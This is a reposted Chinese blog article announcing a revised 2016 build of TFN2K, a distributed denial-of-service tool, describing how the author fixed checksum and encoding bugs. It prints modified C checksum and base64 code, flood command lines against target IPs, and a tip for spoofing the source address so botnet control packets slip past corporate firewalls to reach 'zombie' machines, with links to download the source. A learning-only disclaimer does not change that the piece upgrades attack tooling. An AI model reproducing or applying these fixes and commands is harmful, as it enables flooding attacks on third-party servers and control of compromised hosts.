安云网 - AnYun.ORG | 专注于网络信息收集、网络数据分享、网络安全研究、网络各种猎奇八卦。
当前位置: 安云网 > 技术关注 > 神兵利刃 > TFN2K 2016修订版发布(32/64位)

TFN2K 2016修订版发布(32/64位)

时间:2017-09-29来源:未知 作者:安云网点击:
前言:tfn2k发布的时间太早,最大一个缺陷就是flood数据包(TCP/UDP)因为校验和错误,远端被攻击的服务器会直接丢弃,在中国大陆有高人的优化( tfn2k优化 作者:r0otk1tz)并对flood包的checksum做了修复,但没有修复控制指令包的错误

前言:tfn2k发布的时间太早,最大一个缺陷就是flood数据包(TCP/UDP)因为校验和错误,远端被攻击的服务器会直接丢弃,在中国大陆有高人的优化(tfn2k优化作者:r0otk1tz)并对flood包的checksum做了修复,但没有修复控制指令包的错误,最近测试发现还有更大缺陷需要弥补。

//内容来自安云网

主要缺陷:1)控制指令包无法穿透状态过滤的防火墙;2)无法在64位系统上运行;3)被攻击的远程服务器IP变成随机IP,本来要打扶桑树结果误打金乌。 //内容来自安云网

为解决这些问题,我做了两个实验,配合防火墙规则和ps进程查看以及iptraf查看流量最终修订出更合适的tfn2k,感谢tfn2k的作者,感谢大陆高人提供的校验和代码。 //本文来自安云网

该版本限制了攻击包频率,仅仅作为防火墙学习,TCP/UDP包构造学习用,搞破坏造成的任何危害由使用者本人承担。

//内容来自安云网

 

//内容来自AnYun.ORG

A实验:使用原始tfn2k+r0ot1kz补丁在minifw(linux kernel 3.14)下编译得到32位的td /tfn.,在vmware中两个minifw(192.168.0.1运行tfn,192.168.0.11运行td)

//内容来自安云网

 TFN2K 2016修订版发布(32/64位)
//本文来自安云网


//内容来自安云网

上图是主机192.168.0.11运行td作为受控端,并设置防火墙的input规则(3条),请注意重要的一条规则是拒绝INVALID包,只有合法的NEW,RELATED,ESTABLISHED包才能进入。 //本文来自安云网

 TFN2K 2016修订版发布(32/64位) //内容来自AnYun.ORG

上图是主机192.168.0.1 运行的是tfn 控制端程序,分别使用ICMP TCP两种包远程控制td端,控制成功了吗?从第一张防火墙图看出,192.168.0.11 一共接收到40个包,其中20个是ICMP包,20个TCP包,都是tfn发出的指令,但全部都被丢弃了。因此td没有反应!你没有告诉我干什么,凭什么要我去干活?结论:控制指令无法穿透防火墙。 //内容来自AnYun.ORG

于是我在192.168.0.11主机的防火墙规则修订一下,iptables –I INPUT –jACCEPT,也就是接收一切包,管他是好包烂包,终于td接收到指令发动攻击,攻击效果图如下。

//内容来自AnYun.ORG

  TFN2K 2016修订版发布(32/64位) //本文来自安云网

问题到底在什么地方呢?猜中了结果,但过程却艰辛。我花了两个周时间来抓包调试,得出结论: //内容来自AnYun.ORG

tfn 发送给td的指令,在tribe.c 中包含有发送程序,一直追踪到aes.c对指令加密,发现有两个bug:

//本文来自安云网

1)还是校验和问题 //内容来自AnYun.ORG

tfn发送给td的指令一直都是INVALID状态,我修改了ip.c ,重点是htons(),如果不用htons(),我测试好多次都是INVALID数据。 //内容来自AnYun.ORG

unsigned short

//内容来自AnYun.ORG

ip_sum (addr, len)

//内容来自安云网

      unsigned short *addr;

//本文来自安云网

      int len;

//内容来自安云网

{

//内容来自AnYun.ORG

   int nleft = len; //内容来自AnYun.ORG

   unsigned short *w = addr; //内容来自AnYun.ORG

   int sum = 0;

//内容来自AnYun.ORG

   unsigned short answer = 0; //内容来自安云网

  //本文来自安云网

   while (nleft > 1) //内容来自AnYun.ORG

     { //内容来自AnYun.ORG

 

//内容来自AnYun.ORG

      printf("%x--",ntohs(*w));

//内容来自AnYun.ORG

       sum += ntohs(*w++); //本文来自安云网

       nleft -= 2;

//内容来自AnYun.ORG

     }

//本文来自安云网

   if (nleft == 1) //内容来自安云网

     {

//本文来自安云网

       *(unsigned char *)(&answer) = *(unsigned char *) w; //内容来自AnYun.ORG

       sum += answer;

//本文来自安云网

       printf("oh,I found onebyte(%x)--",answer);

//内容来自AnYun.ORG

     }

//内容来自AnYun.ORG

   sum = (sum >> 16) + (sum& 0xffff); //本文来自安云网

  //内容来自安云网

   sum += (sum >> 16);  //内容来自安云网

   answer = ~sum; 

//内容来自安云网

   printf("chsum is%x--over\n",htons(answer));

//本文来自安云网

   return (htons(answer));  //内容来自AnYun.ORG

   /* modified [email protected],minifw.luohuedu.net */

//内容来自AnYun.ORG

}

//内容来自AnYun.ORG

unsigned int //本文来自安云网

ip_sum2 (addr, len)

//本文来自安云网

      unsigned short *addr;

//内容来自安云网

      int len;

//内容来自AnYun.ORG

{

//内容来自安云网

   int nleft = len;

//内容来自安云网

   unsigned short *w = addr; //内容来自安云网

   int sum = 0;

//内容来自AnYun.ORG

   unsigned short answer = 0;

//本文来自安云网

  //内容来自安云网

   while (nleft > 1)

//内容来自安云网

     {

//内容来自AnYun.ORG

  //内容来自安云网

      printf("%x--",ntohs(*w));

//内容来自安云网

       sum += ntohs(*w++);

//本文来自安云网

       nleft -= 2;

//内容来自AnYun.ORG

     } //内容来自安云网

   if (nleft == 1) //内容来自AnYun.ORG

     {

//内容来自AnYun.ORG

       *(unsigned char *)(&answer) = *(unsigned char *) w;

//内容来自安云网

       sum += answer;

//本文来自安云网

       printf("oh,I found onebyte(%x)--",answer);

//本文来自安云网

     }

//本文来自安云网

  /* modified [email protected],minifw.luohuedu.net */ //内容来自安云网

  printf("sum is %x,len is%d\n",sum,len); //内容来自安云网

 return(sum); //内容来自安云网

} //内容来自AnYun.ORG

由于tfn发送给td的指令包长度可能为奇数,因此我用ip_sum2做tcp/udp校验和

//内容来自安云网

2)  aes.cencode64函数问题:

//内容来自AnYun.ORG

if (len>16) 

//内容来自AnYun.ORG

    base64_in (inbuf, (char *)outbuf, (len + 16));

//本文来自安云网

 else

//内容来自安云网

  base64_in (inbuf, (char *) outbuf,(len + 15));

//本文来自安云网

  /*    modify by [email protected],minifw.luohuedu.net  */ //本文来自安云网

源代码就是+16,实际上两组实验如下:

//本文来自安云网

tfn –P ICMP –f a.txt –i 219.13.276.15 –p 80 –c 5  //内容来自安云网

tfn –P ICMP –f a.txt –i 219.13.276.115 –p 80 –c 5 //本文来自安云网

上面两个不同的攻击IP,如果是第一条,len=16(+f+219.13.276.15),必须加15(少于16也可)不然被攻击的IP居然变成了随机IP;如果是第二条,len=17(+f+219.133.276.115),则加16(如果小于16,被攻击IP也变成随机IP),修改后就不会乱开机枪。

//内容来自安云网

 

//内容来自AnYun.ORG

B实验: //本文来自安云网

使用原始tfn2k2016修改版本在minifw(linux kernel 3.14)下编译得到32位的td /tfn.vmware中两个minifw(192.168.0.1运行tfn作为控制端,192.168.0.11运行td为受控 //内容来自安云网

  TFN2K 2016修订版发布(32/64位)

//内容来自安云网

上图是192.168.0.1 运行最新的tfn2发出指令控制192.168.0.11 //内容来自AnYun.ORG

 TFN2K 2016修订版发布(32/64位)
//内容来自AnYun.ORG

上图是192.168.0.1运行tfn2后截图显示最后两个包的IP头以及TCP校验和构造过程(在winxp下安装vmware,xp运行wireshark可以抓到这些包)。 //内容来自AnYun.ORG

Packet11内的数据是27个字节,packet22内的数据是46个字节。该图是用ip_sum2printf.

//本文来自安云网

 TFN2K 2016修订版发布(32/64位)

//内容来自安云网

上图是192.168.0.11(td运行)防火墙的状态显示,终于有192.168.0.1过来的包并且状态为NEW,合法!被192.168.0.11的td2接收!

//内容来自AnYun.ORG

分析:Tfn2发送的指令,192.168.0.11是否成功接收到呢?见INPUT规则,60个无效包,但也有60个有效包,只要有一个有效,就可以远程控制成功。为什么在XP下安装VMWARE呢?在VMWARE内的好处是数据干扰非常少方便分析,eth0网卡得到的包唯一来自于192.168.0.1!很明显TFN2发送的指令有部分数据匹配了NEW状态,于是成功了。我本人严重怀疑奇数包长度的指令是INVALID被丢弃.

//内容来自AnYun.ORG

最后的测试:在64BT以及64lfs下编译运行td64,并且使用INVALID严格丢弃无效包,使用192.168.0.11远程控制,成功驱动BT去当祸害,别担心老虎的锋利牙齿被限制。 //内容来自安云网

  //本文来自安云网

自我表扬:tfn可以作为一个经典的包构造参考学习工具。 //内容来自安云网

 

//内容来自AnYun.ORG

过去一直对校验和没有搞明白,只会使用现成的代码做校验和,终于下决心彻底学一下,于是仿制了ip_sum2,将构造的包打印出来并与wireshark做对比,对于初学数据包构造非常合适,只要有一个tfn命令和wireshark就OK,不需要TD也可以学习啊(下面的截图是在tfn发出包后的最后两个包的构造显示,对tcp头,数据部分,伪tcp头的数据按照16位显示出来,两个包可以对照wireshare抓包一一比较每个字节)//内容来自安云网

 TFN2K 2016修订版发布(32/64位)

//内容来自AnYun.ORG


//本文来自安云网

  TFN2K 2016修订版发布(32/64位)

//本文来自安云网


//本文来自安云网

Wireshark抓包与pack11做对比分析TCP校验和,什么是伪tcp头见百度,我简单说一下:pthdr一共12个字节,包含源IP和目标IP,以及协议号(TCP6),以及TCP部分的长度(TCP头长度+TCP包的数据长度) //本文来自安云网

以上图说明:源地址6.162.21.164(06a215a4),目标IP192.168.0.11(c0a8000b),协议TCP=6TCP长度=tcp(20)+tcp数据长度(27)=47=0x2f,tcp的数据就是06a2-15a4-c0a8-000b-00006-0002f. //本文来自安云网

tcp的校验和由两部分数据6afb0+  dd2e ,计算就可以得到真正的checksum.=731a

//内容来自安云网

------------------------------------------------------------------------------------------------------ //内容来自安云网

 TFN2K 2016修订版发布(32/64位) //本文来自安云网

Wireshark抓包与pack22比分析TCP校验和。 //本文来自安云网

  //内容来自安云网

问题:内网测试tfn2k,发送的控制指令被单位的防火墙直接封锁了,看着远方肥肥的肉鸡却无法控制!

//内容来自安云网

解答:目前部分防火墙采用了一个规则,就是内网对外访问限制了源IP,而tfn控制指令包的源IP是任意的,显然控制指令无法穿透防火墙。解决简单,假如内网的IP段10.3.122.0/24. //内容来自安云网

  //内容来自AnYun.ORG

Tfn –P ICMP –f  a.txt –i 219.233.155.7 –p 80 –c 5     出不去是吧? //内容来自AnYun.ORG

Tfn –P ICMP –f  a.txt -S  10.3.122.5  –i 219.233.155.7 –p 80 –c 5  指令包的源IP是10.3.122.5合法,成功!如果有问题tfn /.? 自己琢磨一下。 //内容来自安云网

 如果不想自己编译直接学习包构造,minifw.luohuedu.net 或者sourceforge下载minifw5.0-3运行tfn即可;如果想自己玩就去sourceforge下载tfn2k2016-source.tgz.

//本文来自安云网

By  Wuhuashan https://sourceforge.net/projects/minifirewall/

//内容来自安云网


//内容来自安云网

From:http://blog.csdn.net/wu_huashan/article/details/50480836 //内容来自AnYun.ORG

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
验证码: 点击我更换图片
相关内容
推荐内容